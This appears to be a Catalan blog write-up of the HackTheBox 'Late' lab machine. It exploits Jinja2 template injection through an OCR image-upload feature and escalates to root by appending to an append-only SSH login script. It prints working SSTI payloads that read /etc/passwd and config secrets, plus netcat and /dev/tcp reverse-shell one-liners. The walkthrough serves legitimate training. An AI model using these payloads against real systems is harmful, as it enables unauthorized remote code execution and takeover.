HackTheBox: Late

Late és una màquina molt interessant, sobretot la tècnica que s’utilitza per aconseguir usuari, ja que barreja una vulnerabilitat coneguda amb una manera d’explotar-la si més no curiosa.

Descobrir que s’ha d’explotar per aconseguir RCE és relativament senzill, tot i que si no estàs familiaritzat amb la vulnerabilitat, et costarà una mica. Aconseguir root és senzill però has d’enumerar molt bé.

Accés al servidor

Enumeració

Primer de tot, llenço un parell d’nmaps per identificar els serveis oberts. Amb el primer comprovo el top 1000 de ports i les seves versions:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Image Reader
|_http-server-header: nginx/1.14.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)

Analitzant els resultats, sé que m’hauré d’enfrontar a una web, així que sense pensar-ho dues vegades llenço wfuzz per enumerar directoris amb un diccionari de SecLists:

└─$ wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc 404 http://images.late.htb/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://images.late.htb/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                            
=====================================================================

000002000:   500        4 L      40 W       290 Ch      "scanner"                                          
000045226:   200        63 L     152 W      2187 Ch     "http://images.late.htb/"                          

Total time: 0
Processed Requests: 220546
Filtered Requests: 220544
Requests/sec.: 0

Mentre espero a que acabi l’enumeració de directoris em poso a navegar per la web amb el Burp activat. El que em trobo és una pàgina web sense gaire cosa, però si que m’adono que hi ha un hostname:

Així que afegeixo el domini al fitxer /etc/hosts:

D’aquesta manera, si en lloc d’utilitzar l’IP utilitzo el domini, puc accedir a una funcionalitat molt interessant:

Investigant una mica la funcionalitat, vegi que és un mòdul de Flask que mitjançant OCR detecta el text de l’imatge te’l retorna en format text.

Per exemple, pujant aquesta foto:

El servidor retorna el següent text:

Ràpidament m’adono que quelcom que haig de mirar és intentar pujar una imatge amb codi, ja que existeix la possibilitat que el servidor estigui mal configurat i processi tot el text sense verificar abans si és maliciós.

Per fer-ho pujo diverses fotos amb diferents payloads, un d’ells és amb una comanda de la coneguda vulnerabilitat Template Injection:

Per detectar si el servidor és vulnerable envies una operació matemàtica entre claus. Si la resposta del servidor és el resultat d’efectuar l’operació, indica que és vulnerable.

En aquest cas, així ha sigut:

Explotació

Veient que l’nmap i el wfuzz no m’han retornat resultats interessants i que he verificat que el servidor és vulnerable a Template Injection, decideixo invertir tots els esforços en intentar explotar aquesta vulnerabilitat.

Primer de tot, intento llegir el fitxer /etc/passwd per assegurar-me que pugui executar comandes al servidor. Utilitzo el següent paylaod:

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Per suposat, a partir d’ara qualsevol comanda que vulgui enviar l’hauré de posar a una imatge primer i després pujar-ho:

La resposta del servidor és el fitxer /etc/passwd. Una vegada veig que funciona, em poso a investigar i llegir com explotar aquesta vulnerabilitat en entorns de Python. Trobo que executant la següent comanda, el servidor m’hauria de retornar informació interna:

{{config.items()}}

Efectivament, no hi ha gaire informació però si que puc veure un camp anomenat SECRET_KEY amb el següent valor:

b'_5#y2L"F4Q8z\n\xec]/

Intento iniciar sessió a SSH amb diverses combinacions d’aquesta clau, però no tinc èxit. Així que el meu pròxim objectiu és aconseguir executar una shell inversa per poder comprometre el servidor.

Trobo un blog on explica com explotar la vulnerabilitat, però el payload que dona no em funciona. Així que decideixo llegir-ho amb tranquil·litat i investigar part per part la comanda.

El primer tram que utilitza són unes classes en concret de Flask. Per accedir-hi a la classe que interessa veig que ho fa a través d’un array. Així que executo la comanda per saber exactament que conté aquest array:

{{ "".__class__.__mro__[1].__subclasses__() }}

El servidor em retorna un array amb mes de 600 camps. Busco la classe que m’interessa que és la de subprocess, ja que és la que em permetrà executar comandes:

Per assegurar-me que la classe que selecciono és la que m’interessa, decideixo accedir al valor concret de l’array:

{{ "".__class__.__mro__[1].__subclasses__() [244]}}

No obstant això, el servidor em retorna la llibreria zipfile.Tellable que està algunes posicions per sobre. Així que torno a executar-ho modificant la posició de l’array:

{{ "".__class__.__mro__[1].__subclasses__() [249]}}

Aquesta vegada si que em retorna la classe que vull:

Sabent això, em disposo a executar la comanda que em donarà una shell inversa:

{{''.__class__.__mro__[1].__subclasses__()[249] ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f",shell=True,stdout=-1).communicate()}}

Tingues en compte que al posar l’IP hauràs de posar la de la VPN, alguna vegada m’ha passat d’equivocar-me i posar la privada del meu router.

Durant l’execució vaig tenir problemes amb les cometes simples, el servidor em retornava un error. Per això vaig utilitzar cometes dobles.

Utilitzant també netcat, em poso a escoltar el port 4444 en el meu cas i al pujar l’imatge aconsegueixo accedir al servidor:

Llegeixo la flag d’usuari, primer pas fet!

Escalada de privilegis

Veig que sóc l’usuari svc_acc i m’adono que és l’únic usuari del servidor, a part de root. Per tant, descarto l’opció d’intentar comprometre un segon usuari abans d’aconseguir ser administrador.

M’adono també que la shell que tinc no és interactiva, així que executo la següent comanda per fer-la una mica millor:

python -c 'import pty; pty.spawn("/bin/bash")'

A continuació, executo LinPEAS script que em dona moltíssima informació sobre el sistema. Per suposat, tot això ho pots fer manualment també.

Analitzant el resultat hi ha quatre coses que em criden l’atenció i que ordeno per prioritats:

  1. Claus SSH a la home de svc_acc
  2. Fitxer ssh-alert.sh
  3. La variable PATH
  4. Possibles exploits per software desactualitzat

Començo pel primer punt, vaig a la carpeta .ssh i veig que hi ha les claus públiques i privades de l’usuari:

Així que copio la clau privada al meu ordinador i m’hi connecto per SSH. Això em permet poder accedir més fàcilment si no acabo la màquina en un dia i també em dona una shell completament interactiva:

Passo al segon punt i em poso a investigar el fitxer /usr/local/sbin/ssh-alert.sh:

Llegint el codi i pel nom del fitxer dedueixo que aquest codi s’executa cada vegada que algú inicia sessió a través de SSH i que s’envia un correu al root@late.htb. Faig la suposició de que probablement aquest codi s’executa amb permisos d’administrador.

Així que si aconsegueixo modificar-lo, podré executar comandes amb privilegis. Miro els permisos que té el fitxer:

Tot i que el meu usuari és el propietari, només puc llegir i executar, ja que no tinc permisos d’escriptura sobre la carpeta. Tot i així, hi ha algo que no em quadra aquí, ja que hauria de poder modificar-lo.

Passo al tercer punt, investigo el contingut de la variable global $PATH:

Veig que el primer directori de la variable és /home/svc_acc/.local.bin, un directori on el meu usuari té complet control. Copio i engantxo el fitxer a aquest directori, el modifico i li afegeixo una comanda per aconseguir una shell inversa:

sudo bash -i & /dev/tcp/127.0.0.1/4445

Al executar-se com a administrador, es farà una connexió al port 4445 on estaré escoltant. No obstant això, després d’accedir diverses vegades per SSH veig que no passa res.

Faig la suposició que això es deu a que segurament l’script s’executa utilitzant el path complet i no un de relatiu. Si s’utilitza un de relatiu en lloc del complet, el servidor buscaria l’arxiu primer a la variable $PATH i com que el meu directori està primer, s’executaria el modificat en lloc de l’autèntic.

En lloc de passar al punt quatre i buscar exploits, decideixo invertir mes temps per investigar millor l’execució d’aquest script, ja que estic convençut de que la cosa va per aquí.

Executo l’script pspy per veure els processos que estan corrent al servidor. Accedeixo per SSH i veig el següent resultat:

Pel que sembla, quan algú accedeix per SSH, passa el següent:

  1. Executa utilitzant el path absolut (per això no funcionava el path relatiu)
  2. Envia l’email
  3. Comprova el CRON
  4. Elimina el fitxer ssh-alert.sh
  5. Copia i entatxa el que té a la carpeta root
  6. Canvia els permisos perquè el propietari sigui svc_acc

Aquí em vaig quedar una mica encallat, vaig estar provant diverses coses i revisant una vegada i una altra els resultats de pspy però sense èxit.

Després d’una estona m’adono d’una línia que havia passat per alt:

Veig que utilitza la comanda chattr amb l’atribut -a sobre el fitxer ssh-alert.sh. Sense pensar-m’ho dues vegades em poso a investigar que vol dir.

Veig que aquesta comanda serveix per modificar els permisos dels fitxers d’un directori amb l’objectiu de restringir les modificacions per usuaris sense privilegis.

Comprovo quins atributs té assignats ssh-alert.sh:

Una vegada verificat que té el -a, investigo que vol dir exactament. Aquest atribut no permet que es modifiqui el fitxer de cap manera excepte si es fa append, que vol dir afegir text al final.

Ara ja tot em comença a quadrar, per això no podia modificar-lo de manera normal abans.

Decideixo intentar escriure la comanda de reverse shell fent l’append al final del fitxer:

echo "sudo bash -i >& /dev/tcp/127.0.0.1/4445 0>&1" >> /usr/local/sbin/ssh-alert.sh

Després d’executar la comanda, verifico que realment s’ha modificat:

Em obro una altra sessió amb SSH, em poso a escoltar amb netcat al port 4445 i inicio sessió una altra vegada:

Efectivament, tal i com havia predit, l’script s’executa com a administrador i aconsegueixo escalar privilegis. Per suposat, el primer que faig és llegir la flag:

Conclusions

Aquesta màquina és recomanable per qualsevol que s’estigui iniciant, ja que no és excessivament complicada. És bastant fàcil detectar quin és el vector d’atac, el més complex és aconseguir explotar-lo.

Referències

  • Template Injection a Python: enllaç
  • Explicació vulnerabilitat Template Injection: enllaç
  • Payloads Template Injection: enllaç
  • Actualitzar a shell interactiva: enllaç

Deixa un comentari